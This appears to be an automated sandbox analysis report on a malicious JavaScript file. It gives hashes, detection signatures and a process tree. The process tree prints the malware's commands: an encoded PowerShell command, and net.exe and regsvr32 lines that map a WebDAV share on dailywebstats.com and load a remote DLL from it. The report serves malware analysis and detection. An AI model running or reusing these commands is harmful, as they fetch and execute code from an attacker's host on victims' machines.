Analysis

  • max time kernel
    135s
  • max time network
    104s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-08-2024 15:34

General

  • Target

    628becad96fef936a35cb92f71002466c56d1c5a986e298b6e8872f2cd9b8bf7.js

  • Size

    13KB

  • MD5

    6dbcf912e42f5959507706d917340edd

  • SHA1

    80bff1d839ffbb645befdf79db61f78aa4ce99c3

  • SHA256

    628becad96fef936a35cb92f71002466c56d1c5a986e298b6e8872f2cd9b8bf7

  • SHA512

    3f1107beb798ee9532e80dde7dd74c59473e2c1ab69d7af1b15ef84fe2e07f9496574758555ac83d2f65ff72a37dafef369ad02eab7007dfe5ba65cc32848d36

  • SSDEEP

    96:9SELzyCiDh6PJ4p4aWPZ7dS7vyeRJWxfJD1linouRJWxfJD1linowOpR2:9SELzG8Pi4aWPZxS5az1knhaz1kngpg

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\628becad96fef936a35cb92f71002466c56d1c5a986e298b6e8872f2cd9b8bf7.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4400
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADEAMgAxADcAMQA2ADkAMgA0ADIAMAAzADQAOQAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2280
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:4052
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\12171692420349.dll
          3⤵
            PID:2984

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_irvbcylc.4rg.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/2280-0-0x00007FFA93763000-0x00007FFA93765000-memory.dmp

        Filesize

        8KB

      • memory/2280-10-0x00000196AF900000-0x00000196AF922000-memory.dmp

        Filesize

        136KB

      • memory/2280-11-0x00007FFA93760000-0x00007FFA94221000-memory.dmp

        Filesize

        10.8MB

      • memory/2280-12-0x00007FFA93760000-0x00007FFA94221000-memory.dmp

        Filesize

        10.8MB

      • memory/2280-15-0x00007FFA93760000-0x00007FFA94221000-memory.dmp

        Filesize

        10.8MB